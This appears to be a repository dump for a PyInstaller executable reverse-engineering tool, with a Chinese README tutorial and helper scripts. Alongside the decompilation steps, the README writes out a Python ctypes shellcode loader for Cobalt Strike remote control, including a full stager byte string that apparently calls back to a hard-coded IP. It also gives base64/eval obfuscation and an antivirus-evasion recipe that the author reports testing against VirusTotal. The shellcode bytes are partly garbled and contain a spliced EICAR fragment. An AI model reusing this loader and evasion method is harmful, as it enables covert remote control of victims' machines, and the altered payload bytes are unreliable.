├── README.md ├── files ├── a.py ├── b.py └── dist │ ├── b_encrypted.exe │ └── b_noencrypted.exe ├── hextool.py ├── media ├── 009975bbad74b21e2b1399c8f707da2c.png ├── 02175f29a97ce1c31a649f257d3a78b9.png ├── 076c62404f925f474a26f54dfcfda8a3.png ├── 08fc59291b8ae47f9935e70aca115a3f.png ├── 0953b292be2217ac44ce7cbdbb8f7273.png ├── 12a4323ae1a7efd7505ccee63cd828fd.png ├── 13fcbc66222b6c0b0ce3d23585bcbb6a.png ├── 14b35f5b35457f6bdc7d314e734591d7.png ├── 14f385b6a16279abcc3ef177251a2e63.png ├── 1b29c70a3e7560ba1d1d2bb6368ef3d5.png ├── 1b43048dbc42da482855d46dcae09a60.png ├── 28da467716c69c094ec4d2cefa5fc084.png ├── 30950b4dd921d3da2b322dcf698b9879.png ├── 3211716d20947507a69ac30ebcc5c620.png ├── 32e8d2ba633c57c047e9d0d5560826c1.png ├── 3d19205e1b39f0af0bfb4ddd7d12db2a.png ├── 3feab16ca6e9c6d2995b8e57ffdcfff5.png ├── 4538395a3dae3f176ebb2060063b40e0.png ├── 48b6a331b040165323b60a9373472af6.png ├── 570a3e401bf46a431ee3e0a98a709130.png ├── 5cc4aee6f39405e90e375668d3a3a821.png ├── 5e0b9b41781279fffb48e3e9ef49e342.png ├── 5fe42b8eb3fe367174e1384548890dac.png ├── 632526168ecede2296fe0709ede568fa.png ├── 68ca2aebf7639357b359b4eda9bd634e.png ├── 6922abc0e0c780e24d085e6efee68f58.png ├── 73aa0a7f318e3b03e4633f6f0da905d1.png ├── 7666f0f173f710c1f4e5f952b6ca748a.png ├── 7d3323b01630e6831129157499dd9fc6.png ├── 7f4a9cf87cf227195ca9044636d3e124.png ├── 7f51efc796b56d942ed798d75b2d57ea.png ├── 802ab98615386b58f9392a65f27120f2.png ├── 8782b1583603f27abc280c43650bbbb2.png ├── 8eca9f01ff7cca20455b3b4df2ec6623.png ├── 923be3d734e5ceda53809cf088e78857.png ├── 94c91488ab065c05c8ad9f8af5ed6474.png ├── 97ca795e3d04bf287c84df66f272b2e2.png ├── 99bc9bca685726d263f693cca07cfd7d.png ├── 9ac93f6e401ea0f5356b7d3aeb439376.png ├── 9b94335a39f5f606dba294eb5ce7b6f5.png ├── 9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png ├── 9f99843e71a25cab7af24fc193957632.png ├── ad81fb4dcc1b6397e7231af065b6dd9c.png ├── b1d36078ae301898ec6025fd7a92df29.png ├── b68d9e682870aa4892eeda3dd2303ff7.png ├── bbfd3d5f8d4e83cbc3712a7457b9988b.png ├── be947260477fdd769b43cc1e00e16992.png ├── c0ff35163a451232f7e0bf1c558ec920.png ├── c55a318416e546ab08ef9ed3c526f3f4.png ├── c560c8de6720cc0a0a16277a8bd40cc4.png ├── caa128c2c02568297f58f5eabfbbf17e.png ├── d5f93eb38581be4487ba67b15fcbb93d.png ├── d70a036835c0b6cb949117fff524b144.png ├── d738b179ca9621ca8abf11db2f474e0a.png ├── d862803559c8198cb526149f3af4e093.png ├── d9cd3d941e18a32985c5380c1ffe2fa8.png ├── e1d66e44518cea8eb27d7937a2bef0db.png ├── e25b47fa80e1db3e3190af3b0faa53e2.png ├── e600329fcc00b9f166ee877bb65f8601.png ├── e7311a5affeb5599cc5aed6697d7d7c9.png ├── e76fe8cc0cd2b0a98a17d54baab61449.png ├── e87ddd85694c45cc6ebd998aee1ec219.png ├── eeabe6828518c06fd75d933494d133d2.png ├── f2091f55cffc2f9b2141adfc2a31f42b.png ├── f32f18c84635aaca229b0e0be60ef284.png ├── f664a93eb78420b810b5c68a45a0af4f.png └── fba5f14a492c381962191ebdaedeb9cb.png ├── pyinstxtractor.py ├── requirements.txt └── reverse_pyexe.py /README.md: -------------------------------------------------------------------------------- 1 | 2 |

pyinstaller打包的exe逆向还原项目

3 | 4 |

5 | 6 | 7 | 8 | 9 | 10 |

11 |

12 | 13 | 14 | 15 |

16 | 17 | 18 | **免责声明:仅供学习交流,切勿用于非法用途。** 19 | 20 | 支持解密使用--key参数加密的exe 21 | 22 | files提供了可以供pyinstaller打包的示例代码 23 | 24 | Usage: 25 | 26 | ``` 27 | python3 reverse_pyexe c:\xx\xx\b.exe 28 | ``` 29 | 30 | 结果输出到项目目录的b.exe_out路径下 31 | 32 |

33 | 34 | 参考链接: https://xz.aliyun.com/t/10450#toc-11 35 | 36 | 37 | 38 | **程序原理** 39 | 40 | 以下为精简出的原理,本程序参考部分 41 |
42 | 43 | **3. pyinstaller -F 参数反编译** 44 | 45 | 注意:这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译 46 | 47 | **3.1 测试环境** 48 | 49 | 操作系统: windows 10 50 | python版本:python3.8.7 51 | 16进制编辑器:010 editor 52 | exe反编译工具:pyinstxtractor.py 53 | pyc反编译工具:uncompyle6 54 | 55 | **3.2 pyinstaller打包程序为exe** 56 | 57 | 首先写一个简单的python3脚本 58 | 01_easy.py 59 | 60 | *\# -\*- encoding: utf-8 -\*-* 61 | 62 | *\# Time : 2021/06/17 10:45:45* 63 | 64 | *\# Author: crow* 65 | 66 | **import** time 67 | 68 | **while 1:** 69 | 70 | **print(**'hello world'**)** 71 | 72 | time**.**sleep**(1)** 73 | 74 | 然后将该程序使用pyinstaller打包为exe文件 75 | pyinstaller -F 01_easy.py 76 | ​ 77 | 78 | 其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件 79 | 80 | 81 | ![文本 描述已自动生成](media/632526168ecede2296fe0709ede568fa.png) 82 | 83 | 84 | 打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件。 85 | 86 | 87 | ![图形用户界面, 应用程序 描述已自动生成](media/7666f0f173f710c1f4e5f952b6ca748a.png) 88 | 89 | ![文本 描述已自动生成](media/076c62404f925f474a26f54dfcfda8a3.png) 90 | 91 | 92 | 运行试试: 93 | 94 | 95 | ![图形用户界面, 文本, 应用程序 描述已自动生成](media/5e0b9b41781279fffb48e3e9ef49e342.png) 96 | 97 | 98 | 此时程序运行正常,解下来就是反编译了。 99 | 100 | **3.3 反编译_pyc** 101 | 102 | 针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py 103 | 104 | pyinstaller extractor是可以提取出pyinstaller所创建的exe文件为pyc格式。 105 | 106 | 下载链接: 107 | 108 | 109 | 将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行 110 | 111 | python pyinstxtractor.py 01_easy.exe 112 | 113 | ![文本 描述已自动生成](media/08fc59291b8ae47f9935e70aca115a3f.png) 114 | 115 | 解密成功之后,会生成一个xxx.exe_extracted的文件夹 116 | 117 | 118 | ![图形用户界面, 应用程序 中度可信度描述已自动生成](media/b68d9e682870aa4892eeda3dd2303ff7.png) 119 | 120 | ![表格 描述已自动生成](media/e1d66e44518cea8eb27d7937a2bef0db.png) 121 | 122 | **3.4 pyc到源码** 123 | 124 | pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic 125 | number、四个字节的timestamp) 126 | 所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去 127 | 128 | ![表格 描述已自动生成](media/3211716d20947507a69ac30ebcc5c620.png) 129 | 130 | 131 | 因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010 132 | editor 133 | 134 | 135 | ![文本 中度可信度描述已自动生成](media/14b35f5b35457f6bdc7d314e734591d7.png) 136 | 137 | 138 | 通过对比可以发现,struct比01_easy多了8个字节(这里只是做了一个粗略的解释,具体的原因肯定不是看出来的,有兴趣的师傅可以翻下源码) 139 | 140 | ![图片包含 图形用户界面 描述已自动生成](media/5fe42b8eb3fe367174e1384548890dac.png) 141 | 142 | 因此这里可以将这些字节复制插入到01_easy中去。 143 | 144 | ![表格 中度可信度描述已自动生成](media/fba5f14a492c381962191ebdaedeb9cb.png) 145 | 146 | 147 | 在这里新建了一个文件,将两个进行结合 148 | 149 | 150 | ![电脑屏幕截图 中度可信度描述已自动生成](media/7f4a9cf87cf227195ca9044636d3e124.png) 151 | 152 | 153 | 再将文件保存为01_easy.pyc 154 | 155 | ![图片包含 文本 描述已自动生成](media/f2091f55cffc2f9b2141adfc2a31f42b.png) 156 | 157 | 得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6(当然,这里的方法不止这两种) 158 | 其中在线反编译地址为:[https://tool.lu/pyc](https://tool.lu/pyc) 159 | 在线反编译效果: 160 | 161 | 162 | ![图形用户界面, 文本, 应用程序, 聊天或短信 描述已自动生成](media/e600329fcc00b9f166ee877bb65f8601.png) 163 | 164 | 165 | 可以看到这个效果不是很好,有一部分代码并没有成功编译出来 166 | 167 | 那试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install 168 | uncompyle6 169 | 170 | 171 | ![日程表 中度可信度描述已自动生成](media/e25b47fa80e1db3e3190af3b0faa53e2.png) 172 | 173 | 174 | 然后直接使用命令uncompyle6 01_easy.pyc 175 | 176 | 177 | ![文本 描述已自动生成](media/9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png) 178 | 179 | 180 | 可以将文件内容保存到一个文本中 181 | uncompyle6 01_easy.pyc \> 01_easy.py 182 | 183 | 184 | ![文本 描述已自动生成](media/1b29c70a3e7560ba1d1d2bb6368ef3d5.png) 185 | 186 | 187 | 打开之后: 188 | 189 | 190 | ![图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成](media/d862803559c8198cb526149f3af4e093.png) 191 | 192 | 193 | 194 | 195 | **4. pyinstaller -F --key 参数反编译** 196 | 197 | 在使用pyinstaller的时候,可以使用--key参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。 198 | 199 | **4.1 python版本的shellcode** 200 | 201 | **什么是shellcode?** 202 | 203 | 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 204 | 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科) 205 | ​ 206 | 207 | 下面的代码为最基础版本的shellcode,配合Cobalt Strike使用,可实现远控。 208 | 209 | *\# -\*- encoding: utf-8 -\*-* 210 | 211 | *\# Time : 2021/04/29 11:19:04* 212 | 213 | *\# Author: crow* 214 | 215 | **import** ctypes 216 | 217 | shellcode **=** b"" 218 | 219 | shellcode **+=** b"\\x\\" 220 | 221 | shellcode **=** bytearray**(**shellcode**)** 222 | 223 | *\# 设置VirtualAlloc返回类型为ctypes.c_uint64* 224 | 225 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**.**restype **=** 226 | ctypes**.**c_uint64 227 | 228 | *\# 申请内存* 229 | 230 | ptr **=** 231 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**(**ctypes**.**c_int**(0),** 232 | ctypes**.**c_int**(**len**(**shellcode**)),** ctypes**.**c_int**(0x3000),** 233 | ctypes**.**c_int**(0x40))** 234 | 235 | *\# 放入shellcode* 236 | 237 | buf **= (**ctypes**.**c_char **\*** 238 | len**(**shellcode**)).**from_buffer**(**shellcode**)** 239 | 240 | ctypes**.**windll**.**kernel32**.**RtlMoveMemory**(** 241 | 242 | ctypes**.**c_uint64**(**ptr**),** 243 | 244 | buf**,** 245 | 246 | ctypes**.**c_int**(**len**(**shellcode**))** 247 | 248 | **)** 249 | 250 | *\# 创建一个线程从shellcode防止位置首地址开始执行* 251 | 252 | handle **=** ctypes**.**windll**.**kernel32**.**CreateThread**(** 253 | 254 | ctypes**.**c_int**(0),** 255 | 256 | ctypes**.**c_int**(0),** 257 | 258 | ctypes**.**c_uint64**(**ptr**),** 259 | 260 | ctypes**.**c_int**(0),** 261 | 262 | ctypes**.**c_int**(0),** 263 | 264 | ctypes**.**pointer**(**ctypes**.**c_int**(0))** 265 | 266 | **)** 267 | 268 | *\# 等待上面创建的线程运行完* 269 | 270 | ctypes**.**windll**.**kernel32**.**WaitForSingleObject**(**ctypes**.**c_int**(**handle**),**ctypes**.**c_int**(-1))** 271 | 272 | 在这里直接使用以下参数进行加密混淆: 273 | ​ 274 | 275 | pyinstaller -F --key crow123321 --noconsole py_shellcode.py 276 | ​ 277 | 278 | 其中--key之后的字符可以自定义 279 | ​ 280 | 281 | ![文本 描述已自动生成](media/48b6a331b040165323b60a9373472af6.png) 282 | 283 | ![](media/b1d36078ae301898ec6025fd7a92df29.png) 284 | 285 | **4.2 --key参数反编译** 286 | 287 | 同样的,将两个文件放在一起进行逆向得到pyc文件 288 | ​ 289 | 290 | ![图形用户界面, 应用程序 描述已自动生成](media/e87ddd85694c45cc6ebd998aee1ec219.png) 291 | 292 | 293 | python pyinstxtractor.py py_shellcode.exe 294 | ​ 295 | 296 | ![文本 描述已自动生成](media/3d19205e1b39f0af0bfb4ddd7d12db2a.png) 297 | 298 | 299 | 300 | 301 | 开始报错,但是依旧可以生成相应的文件夹 302 | ​ 303 | 304 | ![文本 描述已自动生成](media/9ac93f6e401ea0f5356b7d3aeb439376.png) 305 | 306 | ![图形用户界面, 文本 描述已自动生成](media/6922abc0e0c780e24d085e6efee68f58.png) 307 | 308 | ![表格 描述已自动生成](media/4538395a3dae3f176ebb2060063b40e0.png) 309 | 310 | 这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc 311 | ​ 312 | 313 | ![日历 描述已自动生成](media/02175f29a97ce1c31a649f257d3a78b9.png) 314 | 315 | uncompyle6 shellcode_key.pyc 316 | 317 | ![文本 描述已自动生成](media/97ca795e3d04bf287c84df66f272b2e2.png) 318 | 319 | 将文件重定向到py文件里面去 320 | ​ 321 | 322 | ![](media/68ca2aebf7639357b359b4eda9bd634e.png) 323 | 324 | ![图片包含 应用程序 描述已自动生成](media/923be3d734e5ceda53809cf088e78857.png) 325 | 326 | 327 | 打开之后发现,文件和未使用--key参数的效果基本没什么变化。 328 | --key的参数针对的只是依赖库进行了加密而已。 329 | ​ 330 | 331 | ![表格 中度可信度描述已自动生成](media/94c91488ab065c05c8ad9f8af5ed6474.png) 332 | 333 | **5. 正确使用--key参数进行加密免杀(测试时间:2021.06.17)** 334 | 335 | 总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人)。 336 | ​ 337 | 338 | **5.1 不使用--key参数** 339 | 340 | 将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py里的文件内容不变,只不过将其封装为一个函数,test.py来调用这个函数 341 | ​ 342 | 343 | ![图形用户界面 描述已自动生成](media/be947260477fdd769b43cc1e00e16992.png) 344 | 345 | 346 | py_shellcode_fuzz.py: 347 | 348 | *\# -\*- encoding: utf-8 -\*-* 349 | 350 | *\# Time : 2021/06/17 17:12:27* 351 | 352 | *\# Author: crow* 353 | 354 | **import** ctypes**,**base64 355 | 356 | **def** shell**():** 357 | 358 | shellcode **=** b"" 359 | 360 | shellcode **+=** 361 | b"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\d2\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x41\\xba\\x3a\\x56\\x79\\xa7\\xff\\xd5\\xeb\\x73\\x5a\\x48\\x89\\xc1\\x41\\xb8\\x21\\x03\\x00\\x00\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x6a\\x03\\x41\\x51\\x41\\xba\\x57\\x89\\x9f\\xc6\\xff\\xd5\\xeb\\x59\\x5b\\x48\\x89\\xc1\\x48\\x31\\xd2\\x49\\x89\\xd8\\x4d\\x31\\xc9\\\\x29\\x37\\x43\\x43\\x29\\x37\\x7d\\x24\\x45\\x49\\x439\\x56\\x49\\x52\\x55\\x53\\x2d\\x54\\x45\\x53\\x54\\x2d\\x46\\x49\\x4c\\x45\\x21\\x24\\x48\\x2b\\x48\\x2a\\x00\\x35\\x4f\\x21\\x50\\x25\\x40\\x41\\x50\\x5b\\x34\\x5c\\x50\\x5a\\x58\\x35\\x34\\x28\\x50\\x5e\\x29\\x37\\x43\\x43\\x00\\x41\\xbe\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x48\\x31\\xc9\\xba\\x00\\x00\\x40\\x00\\x41\\xb8\\x00\\x10\\x00\\x00\\x41\\xb9\\x40\\x00\\x00\\x00\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x93\\x53\\x53\\x48\\x89\\xe7\\x48\\x89\\xf1\\x48\\x89\\xda\\x41\\xb8\\x00\\x20\\x00\\x00\\x49\\x89\\xf9\\x41\\xba\\x12\\x96\\x89\\xe2\\xff\\xd5\\x48\\x83\\xc4\\x20\\x85\\xc0\\x74\\xb6\\x66\\x8b\\x07\\x48\\x01\\xc3\\x85\\xc0\\x75\\xd7\\x58\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x30\\x2e\\x32\\x31\\x31\\x2e\\x35\\x35\\x2e\\x32\\x00\\x00\\x00\\x00\\x00" 362 | 363 | shellcode **=** bytearray**(**shellcode**)** 364 | 365 | *\# 设置VirtualAlloc返回类型为ctypes.c_uint64* 366 | 367 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**.**restype **=** 368 | ctypes**.**c_uint64 369 | 370 | *\# 申请内存* 371 | 372 | ptr **=** 373 | ctypes**.**windll**.**kernel32**.**VirtualAlloc**(**ctypes**.**c_int**(0),** 374 | ctypes**.**c_int**(**len**(**shellcode**)),** ctypes**.**c_int**(0x3000),** 375 | ctypes**.**c_int**(0x40))** 376 | 377 | *\# 放入shellcode* 378 | 379 | buf **= (**ctypes**.**c_char **\*** 380 | len**(**shellcode**)).**from_buffer**(**shellcode**)** 381 | 382 | string **=** 383 | """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp""" 384 | 385 | eval**(**base64**.**b64decode**(**string**))** 386 | 387 | *\# 创建一个线程从shellcode防止位置首地址开始执行* 388 | 389 | handle **=** ctypes**.**windll**.**kernel32**.**CreateThread**(** 390 | 391 | ctypes**.**c_int**(0),** 392 | 393 | ctypes**.**c_int**(0),** 394 | 395 | ctypes**.**c_uint64**(**ptr**),** 396 | 397 | ctypes**.**c_int**(0),** 398 | 399 | ctypes**.**c_int**(0),** 400 | 401 | ctypes**.**pointer**(**ctypes**.**c_int**(0))** 402 | 403 | **)** 404 | 405 | *\# 等待上面创建的线程运行完* 406 | 407 | ctypes**.**windll**.**kernel32**.**WaitForSingleObject**(**ctypes**.**c_int**(**handle**),**ctypes**.**c_int**(-1))** 408 | 409 | **if** \__name_\_ **==** '__main__'**:** 410 | 411 | shell**()** 412 | 413 | test.py 414 | 415 | *\# -\*- encoding: utf-8 -\*-* 416 | 417 | *\# Time : 2021/06/17 17:00:27* 418 | 419 | *\# Author: crow* 420 | 421 | **import** ctypes 422 | 423 | **from** py_shellcode **import** shell 424 | 425 | **if** \__name_\_ **==** '__main__'**:** 426 | 427 | shell**()** 428 | 429 | 直接运行python py_shellcode_fuzz.py 430 | 431 | 432 | ![](media/d5f93eb38581be4487ba67b15fcbb93d.png) 433 | 434 | ![图形用户界面, 应用程序, Word 描述已自动生成](media/d9cd3d941e18a32985c5380c1ffe2fa8.png) 435 | 436 | 437 | 上线正常 438 | ​ 439 | 440 | 使用test.py调用该文件 441 | python test.py 上线正常 442 | ​ 443 | 444 | ![社交网络的手机截图 描述已自动生成](media/3feab16ca6e9c6d2995b8e57ffdcfff5.png) 445 | 446 | 然后再对文件进行打包 447 | 首先使用pyinstaller直接打包 448 | pyinstaller -F --noconsole test.py 449 | 450 | ![文本 描述已自动生成](media/ad81fb4dcc1b6397e7231af065b6dd9c.png) 451 | 452 | ![图形用户界面, 应用程序 描述已自动生成](media/009975bbad74b21e2b1399c8f707da2c.png) 453 | 454 | 455 | 直接在dist文件夹下尝试获取pyc文件 456 | ​ 457 | 458 | python pyinstxtractor.py test.exe 459 | ​ 460 | 461 | ![电脑萤幕的截图 描述已自动生成](media/9b94335a39f5f606dba294eb5ce7b6f5.png) 462 | 463 | ![表格 描述已自动生成](media/5cc4aee6f39405e90e375668d3a3a821.png) 464 | 465 | 466 | 将这两个文件单独拿出来,重复同样的操作 467 | 468 | ![文本 中度可信度描述已自动生成](media/caa128c2c02568297f58f5eabfbbf17e.png) 469 | 470 | ![图片包含 图示 描述已自动生成](media/99bc9bca685726d263f693cca07cfd7d.png) 471 | 472 | uncompyle6 get.pyc 473 | 474 | 475 | ![文本 描述已自动生成](media/9f99843e71a25cab7af24fc193957632.png) 476 | 477 | 将文件保存起来 478 | 479 | 480 | ![](media/28da467716c69c094ec4d2cefa5fc084.png) 481 | 482 | ![文本 描述已自动生成](media/0953b292be2217ac44ce7cbdbb8f7273.png) 483 | 484 | 485 | 这里就无法找到py_shell_fuzz中的内容了,那文件到底在哪呢? 486 | 我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件 487 | ​ 488 | 489 | ![表格 描述已自动生成](media/d70a036835c0b6cb949117fff524b144.png) 490 | 491 | ![表格 描述已自动生成](media/8eca9f01ff7cca20455b3b4df2ec6623.png) 492 | 493 | 对该pyc文件直接进行解密:uncompyle6 py_shellcode_fuzz.pyc 494 | 495 | 496 | ![图片包含 文本 描述已自动生成](media/c55a318416e546ab08ef9ed3c526f3f4.png) 497 | 498 | 499 | 500 | 501 | 报错,这里使用010 editor分析下pyc文件 502 | ​ 503 | 504 | 通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全 505 | ​ 506 | 507 | ![图形用户界面 中度可信度描述已自动生成](media/14f385b6a16279abcc3ef177251a2e63.png) 508 | 509 | 510 | 511 | 512 | 将文件保存为new_py_shell.pyc 513 | 514 | 515 | ![电脑屏幕截图 描述已自动生成](media/570a3e401bf46a431ee3e0a98a709130.png) 516 | 517 | 518 | 再对其进行解密 519 | uncompyle6 new_py_shell.pyc 520 | 521 | 522 | ![文本 描述已自动生成](media/30950b4dd921d3da2b322dcf698b9879.png) 523 | 524 | 525 | 再将文件保存起来 526 | uncompyle6 new_py_shell.pyc \> new_shell.py 527 | 528 | 529 | ![文本 描述已自动生成](media/f664a93eb78420b810b5c68a45a0af4f.png) 530 | 531 | 532 | 此时该文件被完全解密 533 | 534 | 535 | ![图形用户界面, 文本, 应用程序 描述已自动生成](media/73aa0a7f318e3b03e4633f6f0da905d1.png) 536 | 537 | 538 | 539 | 540 | ![图形用户界面, 文本 描述已自动生成](media/32e8d2ba633c57c047e9d0d5560826c1.png) 541 | 542 | 此时将文件使用VT查杀测试 543 | VT 查杀 544 | 545 | ​ 546 | 547 | ![图形用户界面, 应用程序 描述已自动生成](media/8782b1583603f27abc280c43650bbbb2.png) 548 | 549 | 550 | 551 | 552 | **5.2 pyinstaller使用--key参数打包exe** 553 | 554 | 在上文中pyinstaller中--key参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下 555 | ​ 556 | 557 | pyinstaller -F --key crowcrow --noconsole test.py 558 | ​ 559 | 560 | ![文本 描述已自动生成](media/e76fe8cc0cd2b0a98a17d54baab61449.png) 561 | 562 | 563 | 564 | 565 | 直接在dist文件夹下尝试获取pyc文件 566 | ​ 567 | 568 | python pyinstxtractor.py test.exe 569 | ​ 570 | 571 | ![文本 描述已自动生成](media/7d3323b01630e6831129157499dd9fc6.png) 572 | 573 | ![文本 中度可信度描述已自动生成](media/eeabe6828518c06fd75d933494d133d2.png) 574 | 575 | 这里该失败的失败,该成功的成功! 576 | ​ 577 | 578 | ![图形用户界面, 文本, 应用程序 描述已自动生成](media/bbfd3d5f8d4e83cbc3712a7457b9988b.png) 579 | 580 | 同样的手法,对下面箭头的文件进行解密 581 | 582 | 583 | ![表格 描述已自动生成](media/802ab98615386b58f9392a65f27120f2.png) 584 | 585 | 586 | 得到文件final.pyc 587 | 588 | 589 | ![表格, 日历 中度可信度描述已自动生成](media/d738b179ca9621ca8abf11db2f474e0a.png) 590 | 591 | 592 | 593 | 594 | uncompyle6 final.pyc 595 | 596 | ![文本 描述已自动生成](media/13fcbc66222b6c0b0ce3d23585bcbb6a.png) 597 | 598 | 599 | 这里和上面的也是一样的,显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。 600 | ​ 601 | 602 | 但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。 603 | 604 | 605 | ![表格 描述已自动生成](media/e7311a5affeb5599cc5aed6697d7d7c9.png) 606 | 607 | 608 | 609 | 610 | 将该文件使用010 611 | editor打开,通过对比发现,该文件已经被加密,无法使用uncompyle6对其进行解密,当然这个文件依旧可以解密,但是解密成本要高于目前的手法。 612 | 613 | 614 | ![图形用户界面 描述已自动生成](media/c0ff35163a451232f7e0bf1c558ec920.png) 615 | 616 | 617 | 618 | 619 | 此时对原来的文件双击测试 620 | 621 | 622 | ![图形用户界面 描述已自动生成](media/c560c8de6720cc0a0a16277a8bd40cc4.png) 623 | 624 | 625 | 依旧可以上线(测试时间:2021.06.17) 626 | ​ 627 | 628 | ![图形用户界面, 文本 中度可信度描述已自动生成](media/1b43048dbc42da482855d46dcae09a60.png) 629 | 630 | 631 | 632 | 633 | ![图形用户界面, 网站 描述已自动生成](media/7f51efc796b56d942ed798d75b2d57ea.png) 634 | 635 | 636 | 637 | 638 | VT查杀:(测试时间:2021.06.17) 639 | ​ 640 | 641 | 642 | 643 | 644 | ![图形用户界面, 应用程序 描述已自动生成](media/f32f18c84635aaca229b0e0be60ef284.png) 645 | 646 | 2021.10.29查看: 647 | 648 | 649 | ![图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成](media/12a4323ae1a7efd7505ccee63cd828fd.png) 650 | 651 | **5.3 总结** 652 | 653 | 从以上文章可以看出,将shellcode加载器写到一个文件中去,再使用另外一个脚本调用,在一定程度上可以免杀(随着时间推移,该方法逐渐失效),但是--key参数加密后的py_shellcode_fuzz.pyc.encrypted文件是无法解开的吗? 654 | 理论上讲,该文件可以理解为勒索病毒加密之后的文件,如果key足够复杂,在还原文件上还是非常有难度的,但是在pyinstaller的作者并非将该文件写死,该文件还是能够进行还原的。 655 | 656 | -------------------------------------------------------------------------------- /files/a.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2021/12/17 18:42 3 | # @Author : ordar 4 | # @Project : reverse_pyexe 5 | # @File : a.py 6 | # @Python: 3.7.5 7 | import json 8 | html = "test" 9 | -------------------------------------------------------------------------------- /files/b.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2021/12/17 18:42 3 | # @Author : ordar 4 | # @Project : reverse_pyexe 5 | # @File : b.py 6 | # @Python: 3.7.5 7 | from a import html 8 | 9 | print(html) 10 | 11 | -------------------------------------------------------------------------------- /files/dist/b_encrypted.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/files/dist/b_encrypted.exe -------------------------------------------------------------------------------- /files/dist/b_noencrypted.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/files/dist/b_noencrypted.exe -------------------------------------------------------------------------------- /hextool.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2021/12/16 16:12 3 | # @Author : ordar 4 | # @Project : reverse_pyexe 5 | # @File : hex_tool.py 6 | # @Python: 3.7.5 7 | import os 8 | import re 9 | import sys 10 | 11 | 12 | class HexTool: 13 | 14 | def __init__(self, struct_file): 15 | self.hex_header = self.get_hex_header(struct_file) 16 | 17 | @staticmethod 18 | def get_file_hex(file): 19 | """ 20 | 读取文件hex 21 | :param file: 22 | :return: 23 | """ 24 | if os.path.exists(file): 25 | with open(file, 'rb') as f: 26 | file_hex = f.read().hex() 27 | return file_hex 28 | else: 29 | print("[-] 